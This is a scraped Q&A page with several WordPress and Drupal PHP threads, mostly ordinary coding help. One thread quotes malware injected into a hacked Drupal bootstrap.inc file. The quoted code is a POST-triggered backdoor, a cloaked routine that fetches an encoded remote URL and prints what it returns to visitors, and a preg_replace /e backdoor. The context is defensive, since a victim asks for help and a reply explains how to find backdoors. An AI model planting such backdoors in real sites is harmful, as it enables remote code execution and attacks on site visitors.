Loading Google Maps API with wp_enqueue_script - wordpress

I'm trying to load the Google Maps API using the following syntax:
add_action('admin_enqueue_scripts', 'load_google_maps');
...
function load_google_maps()
{
// The actual API key is configured in an options page
$key = get_option('google_maps_api_key');
$gmaps_url = 'http://maps.googleapis.com/maps/api/js?key=' . $key . '&sensor=false';
wp_enqueue_script('google-maps', $gmaps_url, NULL, NULL);
}
WordPress is escaping the "&" to "&#038". This actually makes the Google server reject the request. When I type it directly into browser address bar with "&sensor=false" at the end, it loads fine.
I saw a bug of this kind mentioned in the WordPress trac system: http://core.trac.wordpress.org/ticket/9243 but it was dismissed as invalid, and the admin responding to the request showed somehow that the "&#038" approach was fine. It is definitely not fine from Google's point of view.
I could of course just get the function to echo the HTML as a script tag, but I'd rather use the wp_enqueue_script system if possible.
Anyone know of a solution to this?
Cheers,
raff

I've got something similar in our code, and it's working fine (even encoded as &#038). I suspect your problem is that it's being double-encoded, as you already have &. Trying changing it to:
$gmaps_url = 'http://maps.googleapis.com/maps/api/js?key=' . $key . '&sensor=false';
For what it's worth, our (working) code is:
wp_register_script('googlemaps', 'http://maps.googleapis.com/maps/api/js?' . $locale . '&key=' . GOOGLE_MAPS_V3_API_KEY . '&sensor=false', false, '3');
wp_enqueue_script('googlemaps');
($locale in this case is set to hl=en)
Edit
Looks like the behaviour's changed in the latest version of WordPress - the above doesn't work (but I'll leave it for people on legacy versions). The only alternative I can see to echoing the script is to add a clean_url filter, something like this:
add_filter('clean_url', 'so_handle_038', 99, 3);
function so_handle_038($url, $original_url, $_context) {
if (strstr($url, "googleapis.com") !== false) {
$url = str_replace("&", "&", $url); // or $url = $original_url
}
return $url;
}
Pretty ugly, but perhaps marginally better than echoing the script, as it'll still use the WordPress dependency management.

Related

How to log queries that go to wp-admin/admin-ajax.php

I need a way to log queries that go to wp-admin/admin-ajax.php (extra points if I can log specific queries). This will help to troubleshoot some stuff happening in production with my custom plugin.
Scenario
I’ve been working on a plugin which varies the message a user gets depending on the time on the server. The process also depends on other settings retrieved from the server.
The plugin uses javascript to call admin-ajax.php to do the magic. (due to the nature of the plugin, I don’t think I can or should use straight client-side JS for this).
In development it works reliably but in production there are definitely situations where the result returned is unexpected.
This has led me to think that the results of admin-ajax.php are sometimes cached, I need a way to validate my current guess by doing some logging of responses from the production server.
Put this code in you theme functions.php
A log file ajaxlog.txt will now be created in your template folder
add_action( 'admin_init', 'my_ajax_checker', 10, 2);
function my_ajax_checker() {
$file = dirname(__FILE__) . '/ajaxlog.txt';
$actual_link = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$message = $actual_link . " - " . date('m/d/Y h:i:s a', time()) . " - " .$_SERVER['REMOTE_ADDR'] . "\r\n" ;
file_put_contents($file, $message, FILE_APPEND);
}
}
Send requests with a unique identifier and then count if they are all in the log.

How to return binary data from custom wordpress rest api endpoint

I am writing a custom endpoint for a REST api in wordpress, following the guide here: https://developer.wordpress.org/rest-api/extending-the-rest-api/adding-custom-endpoints/
I am able to write a endpoint that returns json data. But how can I write an endpoint that returns binary data (pdf, png, and similar)?
My restpoint function returns a WP_REST_Response (or WP_Error in case of error).
But I do not see what I should return if I want to responde with binary data.
Late to the party, but I feel the accepted answer does not really answer the question, and Google found this question when I searched for the same solution, so here is how I eventually solved the same problem (i.e. avoiding to use WP_REST_Response and killing the PHP script before WP tried to send anything else other than my binary data).
function download(WP_REST_Request $request) {
$dir = $request->get_param("dir");
// The following is for security, but my implementation is out
// of scope for this answer. You should either skip this line if
// you trust your client, or implement it the way you need it.
$dir = sanitize_path($dir);
$file = $request->get_param("file");
// See above...
$file = sanitize_path($file);
$sandbox = "/some/path/with/shared/files";
// full path to the file
$path = $sandbox.$dir.$file;
$name = basename($path);
// get the file mime type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $path);
// tell the browser what it's about to receive
header("Content-Disposition: attachment; filename=$name;");
header("Content-Type: $mime_type");
header("Content-Description: File Transfer");
header("Content-Transfer-Encoding: binary");
header('Content-Length: ' . filesize($path));
header("Cache-Control: no-cache private");
// stream the file without loading it into RAM completely
$fp = fopen($path, 'rb');
fpassthru($fp);
// kill WP
exit;
}
I would look at something called DOMPDF. In short, it streams any HTML DOM straight to the browser.
We use it to generate live copies of invoices straight from the woo admin, generate brochures based on $wp_query results etc. Anything that can be rendered by a browser can be streamed via DOMPDF.

wordpress buddypress white screen of death

I just got a job of maintaining a wordpress/buddypress site.
I install the site locally with a virtual host, so that I didn't change any cfgs or code.
The site was running ok but today morning when I tries to load it I got white screen without any error in the log or anywhere.
I use a debugger to trace the problem and found the following supper-impressive code (wp-content/plugins/events-and-bookings/lib/class_wd_wpmu_oauth.php:378):
private function _refresh_token ($token) {
$this->set_parameter('refresh_token', $token, self::SCOPE_REFRESH);
$this->set_header('method', 'POST');
$raw_token = $this->_refresh_authentication_code();
if (!$raw_token) die;
$token_data = json_decode($raw_token, true);
if (!$token_data) die;
$token_data['time'] = time();
if (!isset($token_data['refresh_token'])) $token_data['refresh_token'] = $token;
$this->set_data('token_data', $token_data);
return $token_data;
}
I comment out the 2 lines that ends with die; - and WALLA! problem solved.
My questions are:
Why does the code die with out any warning - is it a security thing?
is there a better solution than commenting out these lines?
did the change I did can cause some unexpected problem that I'm unaware of?
what is that code actually doing or any info/reference to this problem.
thanks

includes/bootstrap.inc hacked/changed constantly

My hosting provider warned me that my bootstrap.inc file is connecting to an infected host. The issue is meant to be happening between 771 and 808 line of includes/bootstrap.inc file (code below).
This file is somehow changed constantly (once a week), from 120kb to 123kbs. Wherever this happens, I try to upload a clean file. If the file is changed/hacked, my hosting response is longer by 10-15 seconds.
The drupal 7 is updated to 7.41, the modules are up to date.
The code that's causing the issue, is somewhere between those lines (I suspect its the "cookie" part). This is the infected/added part my hosting provider warned me about:
$_passssword = '2505363ea355401256fe974720d85db8';
$p = $_POST;
if (#$p[$_passssword] AND #$p['a'] AND #$p['c']) #$p[$_passssword](#$p['a'], #$p['c'], '');
if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) {
echo('<!--checker_start ');
$tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');
echo(substr($tmp, 50));
echo(' checker_end-->');
}
unset($_passssword);
$bad_url = false;
foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
if (preg_match($regex, $_SERVER['REQUEST_URI'])) {
$bad_url = true;
break;
}
}
$cookie_name = 'PHP_SESSION_PHP';
if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) {
// setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
// $url = base64_decode('a3d3czksLDA2LTs0LTUwLToxLGFvbGQsPGJvc2tiJXZ3blxwbHZxYGY+NDMwMDc5NDsyMjcyOTI6MjE=');
$url = decrypt_url('a3d3czksLDA2LTs0LTUwLToxLGFvbGQsPGJvc2tiJXZ3blxwbHZxYGY+NDMwMDc5NDsyMjcyOTI6MjE=');
$code = request_url_data($url);
// if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
$echo_done = true;
print $decoded;
}
}//iend
I'm no back-end developer and I've been using bootstrap for hobby related-project for over 8 years.
I tried to clean D7 (reuploaded fresh includes, modules and everything apart from /sites/). Tried to check this on some popular scanners.
Does anyone have any idea, how to block this changes to bootstrap.inc? Are there any successful tools for that, or modules for scanning? Or maybe someone recognizes the exploit and could give me a tip where its coming from?
Thank you in advance.
I had the same hack on my Drupal site. The code they put in the bootstrap.inc file looked almost identical to yours.
Apart of the changes to the bootstrap.inc the hackers installed multiple backdoors in various modules. I was able to find the backdoors using the Hacked module, which allows you to find modified files.
The backdoors in my Drupal looked similar to this code:
<?php #preg_replace('/(.*)/e', #$_POST['ttqdgkkfkolmt'], '');
This code uses a vulnerability in preg_replace, which allows the attackers to execute random PHP code using a simple HTTP post request. (The preg_replace vulnerably is resolved in PHP version > 5.5)
Hope this helped. Good luck finding the backdoors!

URL redirection not working properly: genetates the url http://domain.com/domain.com/

I have a WordPress site in two languages (Hebrew and English) and I need it to redirect according to browser language. I'm using qTranslate plugin to create the content in both languages. This plugin also has a redirection functionality but it creates a redirection only for the homepage and I need the redirection to happen for internal pages as well as the homepage.
Another developer wrote this code for me to create the redirection, but for some reason it creates a funny redirect. It happens only when switching language to Hebrew, then leaving the site and trying to enter directly to http://domain.com/en/ and it redirects you to http://domain.com/domain.com/ (Does not happen when switching to english).
I tried playing with the "header (Location: )" that creates the redirection for Hebrew, but couldn't figure out how to make it work - I tried using the full path instead of relative path, or removing the "/" between $_SERVER['SERVER_NAME'] and $_SERVER['REQUEST_URI'] but got recursive url or url with double "/" (http://domain.com// and also for internal pages http://domain.com//page).
The url structure is:
domain.com/ for Hebrew
domain.com/en/ for English
and when switching language then the parameter $lang=en or $lang=he is being added.
Hope this makes sense, and thanks a lot!
this is the code that is responsible for the redirection:
<?php
if (!isset($_COOKIE["uln"])) :
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
setcookie('uln', $lang, time()+86400*365, '/', '.domain.com'); // cookie stored for a year
$_COOKIE['uln'] = $lang;
endif;
//if lang=(value) is not empty
if(isset($_GET['lang'])) {
$lang = $_GET['lang'];
setcookie('uln', $lang, time()-1, '/', '.domain.com'); //this unsets the cookie for random language selection
//set the cookie "uln" again with the selected language.
setcookie('uln', $lang, time()+86400*365, '/', '.domain.com'); // cookie stored for a year
$_COOKIE['uln'] = $lang;
}
if(($_COOKIE["uln"]) == "en") {
$matched = strncmp("/en/", $_SERVER['REDIRECT_URL'], 3);
if ($matched !== 0) :
header('Location: /en'.$_SERVER['REQUEST_URI']);
endif;
} elseif(($_COOKIE["uln"]) == "he") {
$matched = strncmp("/en/", $_SERVER['REDIRECT_URL'], 3);
if ($matched === 0) :
header('Location: '.$_SERVER['SERVER_NAME'].'/'.$_SERVER['REQUEST_URI']);
endif;
}
?>
instead of
header('Location: '.$_SERVER['SERVER_NAME'].'/'.$_SERVER['REQUEST_URI']);
try
header("Location: http://{$_SERVER['SERVER_NAME']}{$_SERVER['REQUEST_URI']}");
URLs, especially those in Location headers, should include a protocol and domain name. I believe relative URLs in Location headers are a violation of the HTTP RFCs.
By omitting a protocol, you're unintentionally specifying a relative url instead of an absolute one.
Edit: REQUEST_URI is already prefixed with a / so including one in the concat is unnecessary.
You're missing an http:// somewhere, probably in the English -> Hebrew redirect code.
Change
header('Location: '.$_SERVER['SERVER_NAME'].'/'.$_SERVER['REQUEST_URI']);
to
header('Location: http://'.$_SERVER['SERVER_NAME'].'/'.$_SERVER['REQUEST_URI']);

Resources